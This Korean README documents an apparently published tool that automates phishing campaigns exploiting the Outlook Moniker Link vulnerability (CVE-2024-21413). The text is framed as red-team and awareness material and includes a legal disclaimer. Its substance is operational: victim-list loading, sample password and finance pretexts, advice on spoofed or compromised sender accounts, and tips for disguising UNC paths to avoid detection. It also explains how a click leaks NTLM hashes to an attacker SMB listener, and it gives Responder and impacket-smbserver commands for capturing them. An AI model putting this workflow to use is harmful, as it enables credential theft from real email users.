BLIND TRUST - Moniker Link 피싱 캠페인 프레임워크

CVE-2024-21413 Moniker Link 취약점을 이용한 표적 피싱 캠페인 시뮬레이션을 위한 보안 연구 도구입니다. 공인된 레드팀 운영, 침투 테스트 및 보안 인식 교육을 위해 설계되었습니다.

개요

BLIND TRUST는 보안 팀이 정교한 이메일 기반 공격에 대한 방어를 이해하고 테스트하는 데 도움을 주는 피싱 캠페인 프레임워크입니다. Moniker Link 기법을 활용하여 Outlook의 Protected View를 우회하며, 조직이 보안 태세를 강화하는 데 사용할 수 있는 현실적인 공격 시뮬레이션을 제공합니다.

이 도구는 구성부터 이메일 전송까지 엔드투엔드 캠페인 워크플로를 자동화하며, 사용자 정의 가능한 UNC 경로와 유연한 구실(pretext) 옵션을 통해 운영 보안을 유지합니다.

목적

조직이 효과적으로 방어하려면 실제 공격 기법을 이해해야 합니다. TRUST를 통해 다음과 같은 작업이 가능합니다.

• 레드팀 운영 - 보안 평가의 일환으로 공인된 피싱 캠페인 수행
• 보안 인식 교육 - 직원들에게 실제 공격 벡터 시연
• 취약점 검증 - 알려진 기법에 대한 탐지 역량 테스트
• 방어 연구 - 사용자 환경에서 Moniker Link 동작 이해

기능

• 다중 대상 캠페인 - 단일 구성으로 여러 대상에게 피싱 이메일 전송
• 유연한 대상 로딩 - 대화형 입력 또는 워드리스트 형식의 .txt 파일을 통해 대상 로드
• 사용자 정의 가능한 구실 - 이메일 제목, 발신자 표시 이름 및 본문 텍스트 제어
• 세련된 UNC 경로 - Moniker Link 경로를 현실적으로 보이도록 사용자 정의 (도메인, 공유 이름, 익스플로잇 이름)
• SMTP 인증 - TLS 협상과 함께 다양한 SMTP 서버 지원
• 자동 재시도 로직 - 일시적인 SMTP 실패에 대한 지수 백오프(Exponential Backoff)
• 캠페인 보고 - 대상별 전송 상태 및 집계 결과 제공
• 하드코딩된 시그니처 없음 - 기법을 노출하는 명백한 지표 제거

설치

요구 사항

• Python 3.7+
• 표준 라이브러리만 사용 (외부 종속성 없음)

설정

# 저장소 클론
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# 도구 실행
python3 TRUST_v7.py

요구 사항

이 도구는 Python 표준 라이브러리 모듈만 사용합니다.

getpass      - 안전한 비밀번호 입력
html         - HTML 이스케이프
ipaddress    - IP 주소 검증
logging      - 구조화된 로깅
os           - 파일 작업
re           - 정규 표현식
signal       - 시그널 처리
smtplib      - SMTP 이메일 프로토콜
sys          - 시스템 유틸리티
time         - 시간 작업
dataclasses  - 구성 모델링
email        - MIME 이메일 구성
typing       - 타입 힌트

외부 패키지 필요 없음 — Python 3.7+가 설치된 모든 곳에서 실행 가능.

빠른 시작

python3 TRUST_v7.py

대화형 마법사를 통해 5단계를 진행합니다.

1. 공격자 자격 증명 - 이메일 전송용 SMTP 계정
2. SMB 리스너 설정 - 대상이 연결할 IP 주소
3. 대상 구성 - 입력 또는 워드리스트 파일에서 피해자 로드
4. 이메일 사용자 정의 - 제목, 발신자 이름 및 본문 텍스트
5. 페이로드 사용자 정의 - UNC 경로 호스트, 공유 이름 및 익스플로잇 이름

사용 예시

예시 1: 대화형 입력 (소규모 캠페인)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: 긴급: 비밀번호 만료 알림
Display name (From field) [Microsoft Security Center]: IT 보안팀
Email body text: 비밀번호가 24시간 내에 만료됩니다. 즉시 업데이트해 주세요.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

예시 2: 워드리스트 로딩 (대규모 캠페인)

targets.txt 파일 생성:

# 재무 부서
[email protected]
[email protected]
[email protected]

# 회계
[email protected]
[email protected]

그런 다음 실행:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

예시 3: 현실적인 재무 구실

Email subject: Q3 재무 검토 - 조치 필요
Display name: 재무 운영팀
Email body: 첨부된 Q3 재무제표를 검토하고 승인해 주시기 바랍니다.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

구성 설명

1단계: 공격자 자격 증명

• 공격자 이메일: 피싱 이메일 전송에 사용되는 이메일 주소 (일반적으로 손상되거나 스푸핑된 계정)
• SMTP 비밀번호: 메일 서버 인증 자격 증명

2단계: SMB 리스너

• SMB 리스너 IP: SMB 리스너(예: Responder, impacket-smbserver)가 실행 중인 IP 주소. 대상이 Moniker Link를 클릭하면 여기에 연결을 시도합니다.

3단계: 대상 구성

두 가지 옵션:

• 대화형 입력: 이메일을 직접 붙여넣기 (쉼표 또는 줄바꿈으로 구분)
• 워드리스트 파일: 한 줄에 이메일 하나씩, #으로 시작하는 주석이 있는 .txt 파일에서 로드

4단계: 이메일 사용자 정의

• 제목: 이메일 제목 줄 (CVE 참조는 피하고 업무 관련성 유지)
• 보낸 사람 표시 이름: 이메일 헤더에 표시되는 친숙한 이름
• 이메일 본문: 대상이 링크를 클릭하도록 유도하는 구실 텍스트

5단계: 페이로드 사용자 정의

명백한 시그니처를 피하는 부분입니다.

• UNC 호스트: IP 대신 현실적인 도메인 또는 서브도메인(예: finance-internal.company.com) 사용
• UNC 공유: quarterly, updates, documents와 같은 현실적인 공유 이름
• UNC 익스플로잇: q3_report, security_patch, training_document와 같은 현실적인 파일 이름

결과: 명백한 \\192.168.1.100\share!exploit 대신 file://finance-internal.company.com/quarterly!q3_report와 같은 형태가 됩니다.

실행 흐름

시작
  ↓
[1단계] 공격자 이메일 및 SMTP 비밀번호 입력
  ↓
[2단계] SMB 리스너 IP 입력
  ↓
[3단계] 대상 이메일 로드 (파일 또는 입력)
  ↓
     ↓→ 각 대상에 대해:
     │  - 이메일 형식 검증
     │  - 중복 확인
     │
[4단계] 이메일 구실 입력
     │  - 제목, 보낸 사람 이름, 본문 텍스트
     │
[5단계] UNC 경로 사용자 정의 입력
     │  - 호스트, 공유, 익스플로잇 이름
     │
  ↓
[구축] 구성 객체 생성
  ↓
[검증] 모든 필드가 존재하고 유효한지 확인
  ↓
[요약] 전송 전 요약 표시
  ↓
[확인] 사용자 승인 또는 취소
  ↓
[전송] 각 대상에 대해:
     │  - 사용자 정의 Moniker Link가 포함된 MIME 이메일 생성
     │  - 재시도 로직을 사용한 SMTP 전송 시도
     │  - 대상별 성공/실패 로깅
     │
  ↓
[보고] 캠페인 결과 표시 (전송 성공 vs 실패)
  ↓
종료

작동 원리

취약점

CVE-2024-21413 (Moniker Link)은 ! 문자가 포함된 file:// URL을 삽입할 수 있는 Outlook 취약점입니다. 사용자가 해당 링크를 클릭하면 Outlook이 UNC 경로에 액세스하려고 시도하며, Protected View 모드에서도 NTLM 인증 시도가 발생합니다.

공격 흐름

1. 사용자가 Moniker Link가 포함된 이메일을 수신
2. 이메일이 합법적으로 보임 (사용자 정의 구실 덕분)
3. 사용자가 링크 클릭
4. Outlook이 \\host\share!exploit에 액세스 시도
5. ! 문자가 Protected View를 우회
6. 사용자 시스템이 SMB 리스너에 인증
7. NTLM 해시 또는 자격 증명 정보를 획득

이 도구가 하는 일

TRUST는 전달 단계를 자동화합니다.

• 사용자 정의 구실로 현실적인 이메일 제작
• Moniker Link를 HTML 페이로드에 삽입
• SMTP 연결 및 재시도 관리
• 여러 대상을 효율적으로 처리
• 캠페인 보고 제공

문제 해결

문제: "SMTP attempt 3 failed: [SMTP: 535]"

해결책: SMTP 자격 증명을 확인하세요. Gmail의 경우 앱 비밀번호를 사용하세요. 회사 메일의 경우 SMTP 관리자에게 문의하세요.

문제: "TLS not supported. Proceeding without encryption."

해결책: 일부 SMTP 서버에서는 정상입니다. 연결은 TLS 암호화 없이 진행됩니다.

문제: "Invalid email: victim@"

해결책: 워드리스트 파일의 이메일이 완전하고 유효한 형식([email protected])인지 확인하세요.

문제: "Recipient rejected"

해결책: 대상 서버에 해당 이메일 주소가 없거나 서버가 계정에서 릴레이를 차단하고 있습니다.

문제: "File not found: targets.txt"

해결책: 파일 경로가 올바르고 현재 디렉터리에 파일이 존재하는지 확인하세요.

FAQ

Q: 이 도구를 사용하는 것이 합법인가요? A: 테스트 중인 조직의 명시적인 서면 승인이 있는 경우에만 가능합니다. 허가 없는 피싱은 불법입니다. 항상 서면으로 된 작업 범위 및 참여 규칙을 확보하세요.

Q: 고급 이메일 필터를 우회할 수 있나요? A: 현실적인 시뮬레이션이지만, 최신 이메일 보안 장비가 이를 탐지할 수도 있습니다. 그게 바로 요점입니다. 조직의 필터가 이에 실패한다면 해결해야 할 문제가 있는 것입니다.

Q: 왜 UNC 경로를 사용자 정의하나요? A: 원래 \\IP\share!exploit 형태는 너무 뻔합니다. 실제 공격자는 현실적인 경로를 사용합니다. 보안 팀은 명백한 지표와 미묘한 지표를 모두 탐지할 수 있어야 합니다.

Q: 직원 교육에 사용할 수 있나요? A: 네. 승인된 테스트 후에, 보안 인식 교육에서 익명화된 캠페인 예시를 사용하여 직원들에게 실제 공격 기법을 보여줄 수 있습니다.

Q: 이 도구가 자격 증명을 캡처하나요? A: 아니요. TRUST는 이메일 전송만 수행합니다. 대상이 링크를 클릭할 때 NTLM 해시를 캡처하려면 별도의 SMB 리스너(Responder, impacket-smbserver 등)가 필요합니다.

Q: SMB 리스너를 어떻게 설정하나요? A: Linux에서 Responder 또는 impacket-smbserver를 사용하세요.

# Responder (해시 캡처)
sudo responder -i eth0 -v

# impacket-smbserver (파일 서버 시뮬레이션)
impacket-smbserver Share /tmp -smb2support

제한 사항

• 자격 증명 캡처 기능 내장되지 않음: SMB 리스너는 직접 제공해야 함; TRUST는 이메일 전송만 수행
• 캠페인 지속성 없음: 결과는 콘솔에 출력됨; 저장하려면 stdout을 리디렉션
• 대상 정보 수집 기능 없음: 직접 대상 이메일 주소를 수집해야 함
• 이메일 난독화 없음: UNC 경로는 사용자 정의 가능하지만 이메일 헤더는 표준 SMTP
• 멀티스레딩 없음: 신뢰성을 위해 이메일을 순차적으로 전송

면책 조항

이 도구는 공인된 보안 테스트용으로만 사용해야 합니다.

• 피싱 캠페인을 수행하려면 명시적인 서면 허가가 있어야 합니다.
• 허가 없는 사용은 불법이며 비윤리적입니다.
• 자신이 소유하거나 테스트 권한이 있는 시스템에 대해서만 통제된 환경에서 사용하세요.
• 항상 관련 법률 및 규정을 준수하세요.
• 저자는 이 도구의 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.

TRUST를 사용함으로써 귀하는 법적 영향을 이해하고 적절한 승인을 받았음을 인정하는 것입니다.

책임 있는 사용을 위한 권장 사항

1. 서면 승인 받기 - 캠페인 전에 서명된 참여 규칙 확보
2. 대상 범위 설정 - 어떤 시스템과 사람이 범위에 포함되는지 정의
3. 수정 계획 수립 - 피싱에 걸린 직원을 위한 교육 계획 준비
4. 결과 문서화 - 평가에 대한 상세 기록 유지
5. 결과 보고 - 효과적이었던 내용을 이해관계자에게 피드백 제공
6. 개인정보 존중 - 보안 프로그램 외부에서 캡처한 데이터를 사용하지 않음

향후 개선 사항

• 캠페인 지속성 및 파일 로깅
• 이메일 구실용 템플릿 시스템
• 대상 열거를 위한 LDAP 통합
• 더 정교한 이메일을 위한 HTML 템플릿 렌더링
• 캠페인 스케줄링 (시간 기반 전달)
• 지표 및 분석을 포함한 보고 대시보드
• Moniker Link 외 다른 피싱 기법 지원

라이선스

이 프로젝트는 사용 제한 조항이 추가된 MIT 라이선스 하에 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

크레딧 및 저작권 표시

이 프로젝트는 CMNatic (https://github.com/cmnatic)의 원본 CVE-2024-21413 연구 및 구현을 기반으로 하고 영감을 받았습니다.

CMNatic은 다음에 대한 모든 공로를 인정받습니다.

• 원본 취약점 연구 및 개념 증명
• 핵심 기술 구현
• 최초 공개 문서

이 저장소는 해당 작업의 수정 및 확장 버전으로, 다음과 같은 개선 사항이 포함되어 있습니다.

• 다중 대상 캠페인 지원
• 사용자 정의 가능한 이메일 구실
• 세련된 UNC 경로 사용자 정의
• 워드리스트 기반 대상 로딩
• 개선된 SMTP 처리 및 재시도 로직
• 포괄적인 문서

보다 자세한 저작권 표시는 CREDITS.md를 참조하세요.

저자

H1SS - 보안 연구 및 공인된 테스트 목적으로 이 버전을 확장 및 유지 관리합니다.

기여